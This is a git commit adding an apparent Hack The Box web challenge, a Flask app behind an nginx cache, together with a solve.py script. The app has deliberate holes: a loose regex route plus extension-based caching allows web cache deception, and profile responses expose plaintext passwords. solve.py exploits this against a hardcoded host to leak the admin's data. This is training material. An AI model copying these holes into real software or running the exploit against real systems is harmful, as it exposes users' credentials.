cleanup
This commit is contained in:
31
training/htb/challenges/web/cdnio/Dockerfile
Normal file
31
training/htb/challenges/web/cdnio/Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
||||
FROM alpine:latest
|
||||
|
||||
RUN apk update && apk upgrade && apk add --no-cache \
|
||||
nginx \
|
||||
python3 \
|
||||
sqlite \
|
||||
py3-pip \
|
||||
openssl \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
ENV PATH="/venv/bin:$PATH"
|
||||
|
||||
WORKDIR /www
|
||||
|
||||
COPY conf/requirements.txt .
|
||||
|
||||
RUN python3 -m venv /venv
|
||||
|
||||
RUN pip3 install --no-cache-dir -r requirements.txt
|
||||
|
||||
COPY challenge/ .
|
||||
|
||||
COPY conf/nginx.conf /etc/nginx/nginx.conf
|
||||
|
||||
COPY entrypoint.sh /
|
||||
RUN chmod 600 /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
EXPOSE 1337
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
4
training/htb/challenges/web/cdnio/build_docker.sh
Executable file
4
training/htb/challenges/web/cdnio/build_docker.sh
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
|
||||
docker build --tag=web-cdnio . && \
|
||||
docker run -p 1337:1337 --rm --name=web-cdnio -it web-cdnio
|
||||
13
training/htb/challenges/web/cdnio/challenge/app/__init__.py
Normal file
13
training/htb/challenges/web/cdnio/challenge/app/__init__.py
Normal file
@@ -0,0 +1,13 @@
|
||||
from flask import Flask
|
||||
|
||||
def create_app():
|
||||
app = Flask(__name__)
|
||||
app.config.from_object('app.config.Config')
|
||||
|
||||
from .blueprints import main_bp, bot_bp, auth_bp
|
||||
|
||||
app.register_blueprint(main_bp)
|
||||
app.register_blueprint(bot_bp)
|
||||
app.register_blueprint(auth_bp)
|
||||
|
||||
return app
|
||||
@@ -0,0 +1,3 @@
|
||||
from .main import main_bp
|
||||
from .bot import bot_bp
|
||||
from .auth import auth_bp
|
||||
@@ -0,0 +1,5 @@
|
||||
from flask import Blueprint
|
||||
|
||||
auth_bp = Blueprint('auth_bp', __name__,)
|
||||
|
||||
from .routes import *
|
||||
@@ -0,0 +1,96 @@
|
||||
from . import auth_bp
|
||||
|
||||
from flask import request, jsonify, current_app, render_template
|
||||
|
||||
import datetime, uuid, sqlite3, jwt
|
||||
|
||||
|
||||
def get_db_connection():
|
||||
conn = sqlite3.connect("/www/app/database.db")
|
||||
conn.row_factory = sqlite3.Row
|
||||
return conn
|
||||
|
||||
def generate_api_key():
|
||||
return str(uuid.uuid4())
|
||||
|
||||
@auth_bp.route('/', methods=['POST', 'GET'])
|
||||
def search():
|
||||
|
||||
if request.method == 'POST':
|
||||
data = request.get_json()
|
||||
|
||||
username = data.get('username')
|
||||
password = data.get('password')
|
||||
|
||||
if not username or not password:
|
||||
return jsonify({"message": "username or password are required!"}), 400
|
||||
|
||||
conn = get_db_connection()
|
||||
|
||||
user = conn.execute(
|
||||
"SELECT * FROM users WHERE username = ?", (username,)
|
||||
).fetchone()
|
||||
conn.close()
|
||||
|
||||
if user and user["password"] == password:
|
||||
|
||||
token = jwt.encode(
|
||||
{
|
||||
"sub": user["username"],
|
||||
"iat": datetime.datetime.utcnow(),
|
||||
"exp": datetime.datetime.utcnow() + datetime.timedelta(days=1),
|
||||
},
|
||||
current_app.config["JWT_SECRET_KEY"],
|
||||
algorithm="HS256",
|
||||
)
|
||||
|
||||
return jsonify({"token": f"{token}"}), 200
|
||||
|
||||
else:
|
||||
return jsonify({"message": "Credentials not found. Please check your username and password."}), 404
|
||||
|
||||
else:
|
||||
return render_template('search.html')
|
||||
|
||||
|
||||
|
||||
@auth_bp.route('/register', methods=['POST', 'GET'])
|
||||
def register():
|
||||
|
||||
if request.method == 'POST':
|
||||
data = request.get_json()
|
||||
|
||||
username = data.get('username')
|
||||
password = data.get('password')
|
||||
email = data.get('email')
|
||||
|
||||
if not username or not password or not email:
|
||||
return jsonify({"message": "username, password, and email are required!"}), 400
|
||||
|
||||
conn = get_db_connection()
|
||||
|
||||
existing_user = conn.execute(
|
||||
"SELECT * FROM users WHERE username = ? OR email = ?", (username, email,)
|
||||
).fetchone()
|
||||
|
||||
if existing_user:
|
||||
conn.close()
|
||||
return jsonify({"message": "Username or email already exists!"}), 409
|
||||
|
||||
api_key = generate_api_key()
|
||||
|
||||
conn.execute(
|
||||
"""
|
||||
INSERT INTO users (username, password, email, api_key, created_at)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""",
|
||||
(username, password, email, api_key, datetime.datetime.utcnow())
|
||||
)
|
||||
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
return jsonify({"message": f"User {username} registered successfully!"}), 201
|
||||
|
||||
else:
|
||||
return render_template('register.html')
|
||||
@@ -0,0 +1,5 @@
|
||||
from flask import Blueprint
|
||||
|
||||
bot_bp = Blueprint('bot_bp', __name__,)
|
||||
|
||||
from .routes import *
|
||||
@@ -0,0 +1,22 @@
|
||||
from . import bot_bp
|
||||
|
||||
from app.utils.bot import bot_thread
|
||||
from app.middleware.auth import jwt_required
|
||||
|
||||
from flask import request, jsonify
|
||||
|
||||
|
||||
@bot_bp.route('/visit', methods=['POST'])
|
||||
@jwt_required
|
||||
def visit():
|
||||
|
||||
data = request.get_json()
|
||||
|
||||
uri = data.get('uri')
|
||||
|
||||
if not uri:
|
||||
return jsonify({"message": "URI is required"}), 400
|
||||
|
||||
bot_thread(uri)
|
||||
|
||||
return jsonify({"message": f"Visiting URI: {uri}"}), 200
|
||||
@@ -0,0 +1,5 @@
|
||||
from flask import Blueprint
|
||||
|
||||
main_bp = Blueprint('main_bp', __name__,)
|
||||
|
||||
from .routes import *
|
||||
@@ -0,0 +1,47 @@
|
||||
from . import main_bp
|
||||
|
||||
from app.middleware.auth import jwt_required
|
||||
from flask import jsonify, request
|
||||
|
||||
import re, sqlite3
|
||||
|
||||
def get_db_connection():
|
||||
conn = sqlite3.connect("/www/app/database.db")
|
||||
conn.row_factory = sqlite3.Row
|
||||
return conn
|
||||
|
||||
@main_bp.route('/<path:subpath>', methods=['GET'])
|
||||
@jwt_required
|
||||
def profile(subpath):
|
||||
|
||||
if re.match(r'.*^profile', subpath): # Django perfection
|
||||
|
||||
decoded_token = request.decoded_token
|
||||
|
||||
username = decoded_token.get('sub')
|
||||
if not username:
|
||||
return jsonify({"error": "Invalid token payload!"}), 401
|
||||
|
||||
conn = get_db_connection()
|
||||
|
||||
user = conn.execute(
|
||||
"SELECT id, username, email, api_key, created_at, password FROM users WHERE username = ?",
|
||||
(username,)
|
||||
).fetchone()
|
||||
conn.close()
|
||||
|
||||
if user:
|
||||
return jsonify({
|
||||
"id": user["id"],
|
||||
"username": user["username"],
|
||||
"email": user["email"],
|
||||
"password": user["password"],
|
||||
"api_key": user["api_key"],
|
||||
"created_at": user["created_at"]
|
||||
}), 200
|
||||
|
||||
else:
|
||||
return jsonify({"error": "User not found"}), 404
|
||||
|
||||
else:
|
||||
return jsonify({"error": "No match"}), 404
|
||||
@@ -0,0 +1,5 @@
|
||||
import os
|
||||
|
||||
class Config:
|
||||
JWT_SECRET_KEY = os.urandom(69).hex()
|
||||
DEBUG = False
|
||||
@@ -0,0 +1,37 @@
|
||||
from flask import request, jsonify, current_app
|
||||
from functools import wraps
|
||||
import jwt
|
||||
|
||||
def decode_jwt_token(token):
|
||||
try:
|
||||
payload = jwt.decode(token, current_app.config["JWT_SECRET_KEY"], algorithms=["HS256"])
|
||||
return payload
|
||||
except jwt.ExpiredSignatureError:
|
||||
return {"error": "Token has expired."}
|
||||
except jwt.InvalidTokenError:
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"Unexpected error decoding JWT: {str(e)}")
|
||||
return None
|
||||
|
||||
def jwt_required(f):
|
||||
@wraps(f)
|
||||
def decorated_function(*args, **kwargs):
|
||||
auth_header = request.headers.get('Authorization', '').strip()
|
||||
|
||||
if not auth_header.startswith('Bearer '):
|
||||
return jsonify({"error": "Token is missing or invalid!"}), 401
|
||||
|
||||
token = auth_header.split(" ", 1)[1].strip()
|
||||
decoded_token = decode_jwt_token(token)
|
||||
|
||||
if decoded_token is None:
|
||||
return jsonify({"error": "Invalid token!"}), 401
|
||||
elif "error" in decoded_token:
|
||||
return jsonify(decoded_token), 401
|
||||
|
||||
request.decoded_token = decoded_token
|
||||
|
||||
return f(*args, **kwargs)
|
||||
|
||||
return decorated_function
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 108 KiB |
178
training/htb/challenges/web/cdnio/challenge/app/static/style.css
Normal file
178
training/htb/challenges/web/cdnio/challenge/app/static/style.css
Normal file
@@ -0,0 +1,178 @@
|
||||
body {
|
||||
background-color: #0a0f1a;
|
||||
color: #d0e7ff;
|
||||
font-family: 'Orbitron', sans-serif;
|
||||
font-size: 16px;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.main-content {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: flex-start;
|
||||
height: calc(100vh - 60px);
|
||||
}
|
||||
|
||||
.sci-fi-profile, .sci-fi-login {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.holo-container {
|
||||
background: rgba(17, 34, 64, 0.7);
|
||||
border: 2px solid rgba(29, 216, 240, 0.7);
|
||||
border-radius: 15px;
|
||||
padding: 40px;
|
||||
width: 650px;
|
||||
box-shadow: 0 0 15px rgba(29, 216, 240, 0.4), inset 0 0 25px rgba(29, 216, 240, 0.2);
|
||||
text-align: center;
|
||||
backdrop-filter: blur(5px);
|
||||
position: relative;
|
||||
z-index: 2;
|
||||
}
|
||||
|
||||
.holo-header h1 {
|
||||
font-size: 32px;
|
||||
color: #1dd8f0;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 3px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.holo-divider {
|
||||
height: 2px;
|
||||
background: linear-gradient(90deg, rgba(29, 216, 240, 0.5), rgba(29, 216, 240, 0), rgba(29, 216, 240, 0.5));
|
||||
margin: 20px 0;
|
||||
}
|
||||
|
||||
.holo-body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.holo-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: flex-start;
|
||||
align-items: flex-start;
|
||||
font-size: 18px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.holo-label {
|
||||
color: #1dd8f0;
|
||||
font-weight: bold;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.holo-value {
|
||||
color: #d0e7ff;
|
||||
font-weight: 300;
|
||||
text-shadow: 0 0 8px rgba(255, 255, 255, 0.7), 0 0 12px rgba(29, 216, 240, 0.8);
|
||||
}
|
||||
|
||||
.holo-container:hover {
|
||||
box-shadow: 0 0 25px rgba(29, 216, 240, 0.9), inset 0 0 30px rgba(29, 216, 240, 0.5);
|
||||
}
|
||||
|
||||
.holo-input {
|
||||
background: rgba(17, 34, 64, 0.8);
|
||||
border: 2px solid rgba(29, 216, 240, 0.5);
|
||||
color: #d0e7ff;
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
font-size: 16px;
|
||||
border-radius: 8px;
|
||||
box-shadow: 0 0 10px rgba(29, 216, 240, 0.3);
|
||||
outline: none;
|
||||
transition: box-shadow 0.3s ease;
|
||||
}
|
||||
|
||||
.holo-input:focus {
|
||||
box-shadow: 0 0 20px rgba(29, 216, 240, 0.7);
|
||||
}
|
||||
|
||||
.holo-button {
|
||||
background-color: #1dd8f0;
|
||||
color: #0a0f1a;
|
||||
border: none;
|
||||
padding: 12px 20px;
|
||||
width: 100%;
|
||||
border-radius: 8px;
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
letter-spacing: 2px;
|
||||
cursor: pointer;
|
||||
transition: background-color 0.3s ease, box-shadow 0.3s ease;
|
||||
}
|
||||
|
||||
.holo-button:hover {
|
||||
background-color: #1bc3e0;
|
||||
box-shadow: 0 0 15px rgba(29, 216, 240, 0.7);
|
||||
}
|
||||
|
||||
.holo-error-message {
|
||||
color: #1dd8f0;
|
||||
margin-top: 20px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.holo-container:before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: -10px;
|
||||
left: -10px;
|
||||
right: -10px;
|
||||
bottom: -10px;
|
||||
background: linear-gradient(45deg, rgba(29, 216, 240, 0.05), transparent);
|
||||
filter: blur(20px);
|
||||
z-index: -1;
|
||||
animation: flicker 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes flicker {
|
||||
0%, 100% {
|
||||
opacity: 1;
|
||||
}
|
||||
50% {
|
||||
opacity: 0.8;
|
||||
}
|
||||
}
|
||||
|
||||
.navbar {
|
||||
background-color: rgba(10, 15, 26, 0.9);
|
||||
padding: 10px;
|
||||
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.3);
|
||||
position: fixed;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.navbar-menu {
|
||||
list-style-type: none;
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.navbar-link {
|
||||
color: #1dd8f0;
|
||||
text-decoration: none;
|
||||
font-size: 18px;
|
||||
margin-left: 20px;
|
||||
transition: color 0.3s ease;
|
||||
}
|
||||
|
||||
.navbar-link:hover {
|
||||
color: #1bc3e0;
|
||||
}
|
||||
|
||||
.main-content {
|
||||
padding-top: 60px;
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{{ title if title else 'CDNio' }}</title>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&display=swap" rel="stylesheet">
|
||||
<link rel="icon" type="image/x-icon" href="{{ url_for('static', filename='favicon.ico') }}">
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
|
||||
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="main-content">
|
||||
{% block content %}{% endblock %}
|
||||
</div>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,68 @@
|
||||
{% extends "layout.html" %}
|
||||
|
||||
{% block content %}
|
||||
|
||||
<nav class="navbar">
|
||||
<ul class="navbar-menu">
|
||||
<li><a href="{{ url_for('auth_bp.search') }}" class="navbar-link">SEARCH</a></li>
|
||||
<li><a href="{{ url_for('auth_bp.register') }}" class="navbar-link">REGISTER</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="sci-fi-login">
|
||||
<div class="holo-container">
|
||||
<div class="holo-header">
|
||||
<h1>Register</h1>
|
||||
</div>
|
||||
<div class="holo-divider"></div>
|
||||
<form id="loginForm">
|
||||
<div class="holo-info">
|
||||
<label for="username" class="holo-label">Username:</label>
|
||||
<input type="text" id="username" class="holo-input" required>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<label for="password" class="holo-label">Password:</label>
|
||||
<input type="password" id="password" class="holo-input" required>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<label for="email" class="holo-label">Email:</label>
|
||||
<input type="email" id="mail" class="holo-input" required>
|
||||
</div>
|
||||
<button type="button" class="holo-button" id="holo-button">REGISTER</button>
|
||||
</form>
|
||||
<div id="errorMessage" class="holo-error-message"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
$("#holo-button").click(function (){
|
||||
|
||||
var username = $("#username").val();
|
||||
var password = $("#password").val();
|
||||
var mail = $("#mail").val();
|
||||
|
||||
var creds = {
|
||||
username: username,
|
||||
password: password,
|
||||
email: mail
|
||||
};
|
||||
|
||||
$.ajax({
|
||||
url: '/register',
|
||||
type: 'POST',
|
||||
contentType: 'application/json',
|
||||
data: JSON.stringify(
|
||||
creds
|
||||
),
|
||||
success: function(response) {
|
||||
//var jsonResponse = JSON.parse(response);
|
||||
$(".holo-error-message").text(response.message).css("color", "green");
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
var jsonResponse = JSON.parse(xhr.responseText);
|
||||
$(".holo-error-message").text(jsonResponse.message).css("color", "red");
|
||||
}
|
||||
});
|
||||
});
|
||||
</script>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,126 @@
|
||||
{% extends "layout.html" %}
|
||||
|
||||
{% block content %}
|
||||
|
||||
<nav class="navbar">
|
||||
<ul class="navbar-menu">
|
||||
<li><a href="{{ url_for('auth_bp.search') }}" class="navbar-link">SEARCH</a></li>
|
||||
<li><a href="{{ url_for('auth_bp.register') }}" class="navbar-link">REGISTER</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
|
||||
<div class="sci-fi-login">
|
||||
<div class="holo-container">
|
||||
<div class="holo-header">
|
||||
<h1>Search</h1>
|
||||
</div>
|
||||
<div class="holo-divider"></div>
|
||||
<form id="loginForm" onsubmit="login(event)">
|
||||
<div class="holo-info">
|
||||
<label for="username" class="holo-label">Username:</label>
|
||||
<input type="text" id="username" class="holo-input" required>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<label for="password" class="holo-label">Password:</label>
|
||||
<input type="password" id="password" class="holo-input" required>
|
||||
</div>
|
||||
<button type="button" class="holo-button" id="holo-button">SEARCH</button>
|
||||
</form>
|
||||
<div id="errorMessage" class="holo-error-message"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<div class="sci-fi-profile" style="display: none;">
|
||||
<div class="holo-container">
|
||||
<div class="holo-header">
|
||||
<h1>User Profile</h1>
|
||||
</div>
|
||||
<div class="holo-divider"></div>
|
||||
<div class="holo-body" id="profileData">
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
$("#holo-button").click(function (){
|
||||
var username = $("#username").val();
|
||||
var password = $("#password").val();
|
||||
|
||||
var creds = {
|
||||
username: username,
|
||||
password: password
|
||||
};
|
||||
|
||||
$.ajax({
|
||||
url: '/',
|
||||
type: 'POST',
|
||||
contentType: 'application/json',
|
||||
data: JSON.stringify(
|
||||
creds
|
||||
),
|
||||
success: function(response) {
|
||||
|
||||
var jwt_token = response.token
|
||||
localStorage.setItem('token', jwt_token);
|
||||
|
||||
fetchUserProfile();
|
||||
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
var jsonResponse = JSON.parse(xhr.responseText);
|
||||
$(".holo-error-message").text(jsonResponse.message).css("color", "red");
|
||||
}
|
||||
});
|
||||
|
||||
});
|
||||
|
||||
function fetchUserProfile() {
|
||||
var token = localStorage.getItem('token');
|
||||
|
||||
$.ajax({
|
||||
url: '/profile',
|
||||
type: 'GET',
|
||||
headers: {
|
||||
'Authorization': 'Bearer ' + token
|
||||
},
|
||||
success: function(response) {
|
||||
displayProfileData(response);
|
||||
},
|
||||
error: function(xhr, status, error) {
|
||||
console.log("Error fetching profile:", xhr.responseText);
|
||||
if (xhr.status === 401) {
|
||||
$(".holo-error-message").text("Unauthorized! Please login again.").css("color", "red");
|
||||
} else {
|
||||
$(".holo-error-message").text("Failed to fetch profile.").css("color", "red");
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function displayProfileData(user) {
|
||||
const profileHtml = `
|
||||
<div class="holo-info">
|
||||
<span class="holo-label">ID:</span> <span class="holo-value">${user.id}</span>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<span class="holo-label">Username:</span> <span class="holo-value">${user.username}</span>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<span class="holo-label">Email:</span> <span class="holo-value">${user.email}</span>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<span class="holo-label">API Key:</span> <span class="holo-value">${user.api_key}</span>
|
||||
</div>
|
||||
<div class="holo-info">
|
||||
<span class="holo-label">Created At:</span> <span class="holo-value">${user.created_at}</span>
|
||||
</div>
|
||||
`;
|
||||
|
||||
$("#profileData").html(profileHtml);
|
||||
$(".sci-fi-profile").show();
|
||||
}
|
||||
</script>
|
||||
|
||||
{% endblock %}
|
||||
41
training/htb/challenges/web/cdnio/challenge/app/utils/bot.py
Normal file
41
training/htb/challenges/web/cdnio/challenge/app/utils/bot.py
Normal file
@@ -0,0 +1,41 @@
|
||||
import time, os, threading, requests
|
||||
|
||||
base_url = "http://0.0.0.0:1337"
|
||||
|
||||
admin_passwd = os.getenv("RANDOM_PASSWORD")
|
||||
|
||||
base_headers = {
|
||||
"User-Agent": "CDNio Bot ()"
|
||||
}
|
||||
|
||||
def login_and_get_token():
|
||||
session = requests.Session()
|
||||
|
||||
login_url = f"{base_url}/"
|
||||
payload = {
|
||||
"username": "admin",
|
||||
"password": admin_passwd
|
||||
}
|
||||
response = session.post(login_url, json=payload, headers=base_headers)
|
||||
|
||||
if response.status_code == 200:
|
||||
token = response.json().get("token")
|
||||
return token, session
|
||||
else:
|
||||
return None, None
|
||||
|
||||
def bot_runner(uri):
|
||||
|
||||
token, session = login_and_get_token()
|
||||
|
||||
headers = {
|
||||
**base_headers,
|
||||
"Authorization": f"Bearer {token}"
|
||||
}
|
||||
|
||||
r = requests.get(f"{base_url}/{uri}", headers=headers)
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
def bot_thread(uri):
|
||||
bot_runner(uri)
|
||||
3
training/htb/challenges/web/cdnio/challenge/wsgi.py
Normal file
3
training/htb/challenges/web/cdnio/challenge/wsgi.py
Normal file
@@ -0,0 +1,3 @@
|
||||
from app import create_app
|
||||
|
||||
app = create_app()
|
||||
0
training/htb/challenges/web/cdnio/conf/.gitkeep
Normal file
0
training/htb/challenges/web/cdnio/conf/.gitkeep
Normal file
49
training/htb/challenges/web/cdnio/conf/nginx.conf
Normal file
49
training/htb/challenges/web/cdnio/conf/nginx.conf
Normal file
@@ -0,0 +1,49 @@
|
||||
user nobody;
|
||||
worker_processes 1;
|
||||
pid /run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 768;
|
||||
}
|
||||
|
||||
http {
|
||||
server_tokens off;
|
||||
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
proxy_cache_path /var/cache/nginx keys_zone=cache:10m max_size=1g inactive=60m use_temp_path=off;
|
||||
|
||||
server {
|
||||
listen 1337;
|
||||
|
||||
server_name _;
|
||||
|
||||
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
|
||||
proxy_cache cache;
|
||||
proxy_cache_valid 200 3m;
|
||||
proxy_cache_use_stale error timeout updating;
|
||||
expires 3m;
|
||||
add_header Cache-Control "public";
|
||||
|
||||
proxy_pass http://unix:/tmp/gunicorn.sock;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
}
|
||||
|
||||
location / {
|
||||
proxy_pass http://unix:/tmp/gunicorn.sock;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
}
|
||||
|
||||
access_log /var/log/nginx/access.log;
|
||||
error_log /var/log/nginx/error.log;
|
||||
}
|
||||
}
|
||||
4
training/htb/challenges/web/cdnio/conf/requirements.txt
Normal file
4
training/htb/challenges/web/cdnio/conf/requirements.txt
Normal file
@@ -0,0 +1,4 @@
|
||||
Flask
|
||||
gunicorn
|
||||
pyjwt
|
||||
requests
|
||||
BIN
training/htb/challenges/web/cdnio/database.db
Normal file
BIN
training/htb/challenges/web/cdnio/database.db
Normal file
Binary file not shown.
40
training/htb/challenges/web/cdnio/entrypoint.sh
Normal file
40
training/htb/challenges/web/cdnio/entrypoint.sh
Normal file
@@ -0,0 +1,40 @@
|
||||
#!/bin/sh
|
||||
|
||||
set -e
|
||||
|
||||
DB_PATH="/www/app/database.db"
|
||||
|
||||
if [ ! -f "$DB_PATH" ]; then
|
||||
sqlite3 "$DB_PATH" <<- 'EOF'
|
||||
CREATE TABLE users (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
username TEXT NOT NULL UNIQUE,
|
||||
password TEXT NOT NULL,
|
||||
email TEXT NOT NULL UNIQUE,
|
||||
api_key TEXT NOT NULL UNIQUE,
|
||||
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
EOF
|
||||
fi
|
||||
|
||||
RANDOM_PASSWORD=$(openssl rand -base64 16 | tr -d '\n') && export RANDOM_PASSWORD
|
||||
|
||||
sqlite3 "$DB_PATH" <<- EOF
|
||||
INSERT INTO users (username, password, email, api_key)
|
||||
VALUES ('admin', '$RANDOM_PASSWORD', 'admin@hackthebox.com', 'HTB{f4k3_fl4g_f0r_t35t1ng}');
|
||||
EOF
|
||||
|
||||
mkdir -p /var/cache/nginx \
|
||||
&& mkdir -p /var/log/gunicorn \
|
||||
&& chown -R nobody:nogroup /var/log/gunicorn \
|
||||
&& chown -R nobody:nogroup /www
|
||||
|
||||
nginx -g 'daemon off;' &
|
||||
exec su nobody -s /bin/sh -c \
|
||||
"gunicorn \
|
||||
--bind 'unix:/tmp/gunicorn.sock' \
|
||||
--workers '2' \
|
||||
--access-logfile '/var/log/gunicorn/access.log' \
|
||||
wsgi:app"
|
||||
|
||||
|
||||
29
training/htb/challenges/web/cdnio/solve.py
Normal file
29
training/htb/challenges/web/cdnio/solve.py
Normal file
@@ -0,0 +1,29 @@
|
||||
import requests
|
||||
import random
|
||||
import string
|
||||
|
||||
ALPHABET = string.ascii_letters
|
||||
|
||||
|
||||
URL = "http://154.57.164.75:32624"
|
||||
|
||||
# register a new account
|
||||
username = "".join(ALPHABET[random.randint(0, len(ALPHABET) - 1)] for _ in range(20))
|
||||
pw = "pw"
|
||||
email = username
|
||||
res = requests.post(f"{URL}/register", json={"username": username, "password": pw, "email": email})
|
||||
print(res.text)
|
||||
|
||||
# log into the new account
|
||||
res = requests.post(f"{URL}", json={"username": username, "password": pw})
|
||||
token = res.json()["token"]
|
||||
print(f"[+] token = {token}")
|
||||
|
||||
# send the bot to /profile.js
|
||||
uri = "profile.js"
|
||||
res = requests.post(f"{URL}/visit", headers={"Authorization": f"Bearer {token}"}, json={"uri": uri})
|
||||
print(res.text)
|
||||
|
||||
# retrieve the cached result
|
||||
res = requests.get(f"{URL}/{uri}")
|
||||
print(res.text)
|
||||
Reference in New Issue
Block a user